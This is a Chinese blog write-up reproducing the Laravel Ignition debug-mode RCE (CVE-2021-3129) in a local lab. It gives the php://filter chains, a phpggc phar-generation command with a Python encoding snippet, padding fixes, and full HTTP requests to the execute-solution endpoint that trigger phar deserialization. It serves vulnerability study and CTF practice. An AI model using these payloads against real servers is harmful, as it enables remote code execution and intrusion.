Laravel Debug mode RCE（CVE-2021-3129）漏洞复现

前言

这个之前在VNCTF2021的时候遇到过，当时自己只是拿着脚本直接打，并没有对于原理好好了解一下。最近国赛，还有i春秋都出现了以yii和thinkphp为背景的关于日志写phar来实现phar反序列化的这种题目，所以就来好好地复现和学习一下这个RCE。中间也是踩了很多坑，在@Jiang师傅的帮助下复现成功，也是加深了理解。

参考链接

Laravel Debug mode RCE（CVE-2021-3129）分析复现

一定一定一定把这篇文章中讲到的都仔细地领悟一下，踩的很多坑都是因为看这篇文章的时候比较急躁，很多细节没有注意到导致的。

复现

具体代码层上的就不分析了，很多文章也都说过了。简单来说就可以总结成这2行代码：

$output = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);

具体攻击就是四步，详情参考上面的文章。

第一步清空日志，利用convert.base64-decode过滤器会将一些非base64字符给过滤掉后再进行decode的特性。但是会出现一些问题，利用这个php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log的话就不会出现问题，convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8得到的全部都是非base64字符了，可以成功清空。

第二步就是利用phpggc生成一下，然后经过一定的处理得到要写入的payload。然后就是直接viewFile那里请求的话，log里就会有了我们的payload，而且算是2个+1部分，2个完整的payload，然后是payload的最前面的一部分。

第三步就是想办法把log文件里面的内容弄成phar文件的内容了。是这样：

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

这一步有三个过滤器，可以说是每个过滤器都有可能会出错，所以需要进行一定的修正。

第四步就没啥好说的了，直接phar反序列化：

phar://../storage/logs/laravel.log

这四步可以说大部分文章都写得很清楚，我一开始得思路也是这样，然后因为对于细节得把握不够，所以就出现了许多得问题。

踩坑

能踩得坑主要还是在第二步和第三步上。

第二步的踩坑

第二步就是生成payload会有问题。比如我要执行dir命令（因为我是本地复现，在windows上）。

先phpggc拿链子：

php -d'phar.readonly=0' ./phpggc monolog/rce1 system dir --phar phar -o php://output | base64 -w0 

然后python处理一下

import base64
s="PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq/AgAAAgAAABEAAAABAAAAAABoAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czozOiJkaXIiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czozOiJkaXIiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAACoUrNgBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAACoUrNgBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN0mU/NJc2v/6np2yRnR/eEkWAXmW0CAAAAR0JNQg=="

print(''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper())

得到可以用的payload。

第三步的踩坑

三个过滤器：

write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/

第一个过滤器是convert.quoted-printable-decode，这个的坑点说白了就是=号的匹配。具体看一下日志是这样：

相当于=xx这样的将会被decode为一个字符，如果遇到等于号匹配不到的，就会出错。根据上面提到的，直接写入的时候log里有2部分完整的payload和payload的最前面的一部分：

可以看到这里是正好匹配好的，所以目前我们的第一个过滤器是不会出错的。

可以尝试一下进行第三步：

iconv stream filter ("utf-16le"=>"utf-8"): invalid multibyte sequence

报了iconv的错，也就是第二个过滤器convert.iconv.utf-16le.utf-8的错，这个过滤器的报错很容易理解，它是把两个字符变成一个字符：

<?php
$content=file_get_contents($_GET[0]);
echo $content;

//111.txt
11

因此如果不是偶数个字符的话，就会报错。因此我这里laravel的log在iconv爆了错，说明经过convert.quoted-printable-decode之后，日志中的字符数正好是奇数个，因此会报错。这时候我们需要想办法改一下在进行iconv的时候日志中字符的数量。而且需要在payload的开头进行更改。因为我们的payload是2个完整加一部分，如果加在后面，增加的只是2个完整，增加偶数个，并不改变奇偶性，所以需要加在最前面。但是这时候可能第一反应是加一个A，这样就可以为偶数个，但是正确吗？

不正确，如果只加一个A的话，确实不会iconv报错了，但是printable又会报错了。看一下日志：

.php(75): file_get_contents('A=50=00=44=00=3...')

没错，本来是=50=00=44=00=39正好可以匹配上，加了一个A之后会挤掉了最后的9，这样最后是=3了，printable不能正好匹配了。因此改进的办法就很简单了，需要加三个A。

加了三个A之后，是不是就可以了呢？我现在讲解的这种情况感觉可能是复现的时候遇到的难得情况了，一般得情况都会比这种简单。实际上加了三个A，还是iconv过不去。难道不是偶数个了吗？还真不是。

如果加了三个A，这里就会变成这样AAA=50=00=44=00和一开始这种情况（这时候是奇数个）=50=00=44=00=39相比，进行printable过滤器处理之后，一开始是5个字符，现在是7个字符，相当于增加得是2个字符，奇偶性还是没变。所以这应该就是能遇到的最独特的情况了，接下来单纯得想办法在前面或者后面增加A应该都不太行，解决办法就是额外再请求一条AA，让一开始payload不加A的时候就是偶数个，而不是奇数个：

POST /index.php/_ignition/execute-solution HTTP/1.1
Host: www.laravel8221.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: laravel_session=eyJpdiI6IkJEZHczcUpzK1JXUWRmcEd3bDBpalE9PSIsInZhbHVlIjoid0JmeG9jL0pBU3c1SjB0Y0hsT1JGbEFmSDB4UU84S3pVakNwNkZVeHJyaGpudjg2Q1krelJkL0k0V3dsQ2FiL0w2d1ZSQWVZWjRNS1YydXFDd2U4ekdBOGFWT3VNK3BjSGJZZVZpUmFwN1BNYi8xeFlpL3JFWmxpcjN1VHF1eWUiLCJtYWMiOiJiNzJiNDg0NjBmNDkzODc4YTM5NDAxYjcwNzJhMDA5Y2ZjMmYwNDYwZWZiM2ZlYWFlNTRkMGJkMjUzN2Q2YTEwIn0%3D
Connection: close
Content-Type: application/json
Content-Length: 133

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"AA"}}

这时候，即使不加前缀AA，printable和iconv那2个过滤器都是可以过了的。但是还有一个问题就是base64-decode这个过滤器。

但是这里出现了两次PAYLOAD，我们可以在PAYLOAD后面添加一个字符，使得utf-16转成utf-8时总有一个PAYLOAD能被转换出来。

所以还必须要加字符，把一个payload吃掉。我在试的时候觉得可能加在前面更好，因为还是这里：

.php(75): file_get_contents('=50=00=44=00=39...')

这里的=50=00=44=00在经过前两个过滤器后会产生base64字符PD。所以我这里想办法把这里给处理掉，那就加三个A，成功实现phar反序列化：

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"AA"}}

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成功执行dir命令：

所以在不同的环境下，也只是payload的更改罢了。